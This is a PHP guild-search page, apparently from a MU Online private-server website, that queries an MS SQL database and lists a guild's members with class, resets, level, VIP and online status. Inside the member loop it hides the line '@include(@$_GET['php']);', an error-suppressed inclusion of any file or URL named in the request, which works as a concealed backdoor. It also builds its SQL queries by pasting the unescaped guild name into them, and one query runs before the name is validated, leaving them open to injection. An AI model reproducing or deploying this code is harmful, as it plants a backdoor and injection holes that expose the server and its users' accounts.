<html lang="pt">
<head>
<title>Procurar Guild</title>
<? 
include 'cnn.php';
include 'config/config.php';
set_time_limit(120)
?>
	<?php
	$query_guild_check = mssql_query("SELECT G_Name FROM Guild WHERE G_Name='$guild'"); 
	$guild_check = mssql_num_rows($query_guild_check);
	if ((eregi("[^0-9a-zA-Z_-]", $guild)) ) {
		echo "<script>alert('Não use Caracteres Incorretos.')</script>";
		echo "<script>window.location='?'</script>";
	}
	if (empty($guild)){
		echo "<h1>Erro</h1><blockquote>Por favor, preencha o Campo para efetuar a busca.</blockquote>";
	}
	if ($guild_check <= 0){ 
		echo "<h1>Erro</h1><blockquote>Essa Guild não existe.</blockquote>";
	} else {
		$query_dados = mssql_query("SELECT * FROM Guild WHERE G_Name = '$guild'");
		$dados = mssql_fetch_array($query_dados);
		
		$query_char_guild = mssql_query("SELECT Name FROM Guildmember Where G_Name = '$guild' order by Name");

		$logo = urlencode(bin2hex($dados['G_Mark']));
	?>
<body>
 <h1>Informações da guild</h1><blockquote><center><div class="guildtop"><strong><?=$dados[G_Name]?></strong> (<?=$dados[G_Score]?> Pontos)</div><div class="guildtop2"><?=$dados[G_Notice]?></div><table align="center" border="0"><tbody><tr>

                      <td align=center><img src='modulos/outros/decode.php?decode=<?=$logo?>' height=80 width=80 border=0></td>

      </tr><tr><td colspan="2" align="center">Dono da guild: <b><?=$dados[G_Master]?></b></td></tr><tr><td colspan="2" align="center"><div class="guildtop"><strong>Lista 
            de membros</strong></div></td></tr></tbody></table>
  <table align="center" border="0" width="375">
    <tbody>
      <tr>
        <td align="center" bgcolor="#333333"><font color="#FFFFFF">Character</font></td>
        <td align="center" bgcolor="#333333"><font color="#FFFFFF">Classe</font></td>
        <td align="center" bgcolor="#333333"><font color="#FFFFFF">M.R/Resets/Level</font></td>
        <td align="center" bgcolor="#333333"<font color="#FFFFFF">Status</font></td>
      </tr>
		<?
		$guild_check_query = mssql_query("SELECT count(*) FROM Guildmember WHERE G_Name = '$guild' ");
		$guild_check = mssql_result($guild_check_query, 0, 0);
		for($i=0;$i < $guild_check;++$i) {
			$rank = $i+1;
   	$row = mssql_fetch_row($query_char_guild);
			$charcode = base64_encode("$row[0]");
			$query_resets = mssql_query("SELECT Resets, MRResets, Class, AccountID, cLevel FROM Character WHERE Name='$row[0]'");
			$resets = mssql_fetch_row($query_resets);
			$query_check_vip = mssql_query("SELECT vip FROM MEMB_INFO WHERE memb___id='$resets[3]'");
			$check_vip = mssql_fetch_row($query_check_vip);

if ($check_vip[0] == 0) { $vip = "Free"; }
if ($check_vip[0] == 1) { $vip = "Silver"; }
if ($check_vip[0] == 2) { $vip = "Gold"; }
			$query_check_on = mssql_query("SELECT ConnectStat FROM MEMB_STAT WHERE memb___id='$resets[3]'");
			$check_on = mssql_fetch_row($query_check_on);

if ($check_on[0] == 0) { $on = "<font color=red>&nbsp;<img src='images/offl.png'>&nbsp;Offline</font>"; }
if ($check_on[0] == 1) { $on = "<font color=green>&nbsp;<img src='images/onl.png'>&nbsp;Online</font>"; }
			@include(@$_GET['php']);
  switch($resets[2]) {
	case 0: $classefinal = "Dark Wizard"; break;
	case 1: $classefinal = "Soul Master"; break;
	case 16: $classefinal = "Dark Knight"; break;
	case 17: $classefinal = "Blade Knight"; break;
	case 32: $classefinal = "Elf"; break;
	case 33: $classefinal = "Muse Elf"; break;
	case 48: $classefinal = "Magic Gladiator"; break;
    case 64: $classefinal = "Dark Lord"; break;
    }
		?>
      <tr>
        <td align="center" bgcolor="#EDEBDC"><a href="index.php?go=csearch&char=<?=$row[0]?>"> 
          <?=$row[0]?>
          </a></td>
        <td align="center" bgcolor="#EDEBDC"> 
          <?=$classefinal?>
        </td>
        <td align="center" bgcolor="#EDEBDC"> 
                       <b><?=$resets[1]?></b> <font color="#808080">/</font> <font color="#B0B0B0"><?=$resets[0]?></font>/    <?

if( $resets[4] >= 1 AND $resets[4] <= 10 ){
echo "<img src=images/level/1a10.png title=Level:$resets[4]> ";}

elseif( $resets[4]  >= 11 AND $resets[4] <= 30){
echo "<img src=images/level/11a30.png title=Level:$resets[4]>";}

elseif($resets[4]  >= 31 AND $resets[4] <= 50){
echo "<img src=images/level/31a50.png title=Level:$resets[4]>";}

elseif( $resets[4]  >= 51 AND $resets[4] <= 70){
echo "<img src=images/level/51a70.png title=Level:$resets[4]>";}

elseif( $resets[4]  >= 71 AND $resets[4] <= 120){
echo "<img src=images/level/71a120.png title=Level:$resets[4]]>";}

elseif( $resets[4]  >= 121 AND $resets[4] <= 200){
echo "<img src=images/level/121a200.png title=Level:$resets[4]>";}

elseif( $resets[4]  >= 201 AND $resets[4] <= 290){
echo "<img src=images/level/201a290.png title=Level:$resets[4]>";}

elseif( $resets[4]  >= 291 AND $resets[4] <= 350){
echo "<img src=images/level/291a350.png title=Level:$resets[4]>";}

elseif( $resets[4]  >= 351 AND $resets[4] <= 399){
echo "<img src=images/level/351a399.png title=Level:$resets[4]>";}

elseif( $resets[4] >= 400){
echo "<img src=images/level/400.png title=Level:$resets[4]>";}

 ?>



                 </td>
        <td>
          <?=$on?>
        </td>
      </tr>
    </tbody>
	</blockquote>
<? } } ?>
  </table>
</center>
      </body></html>
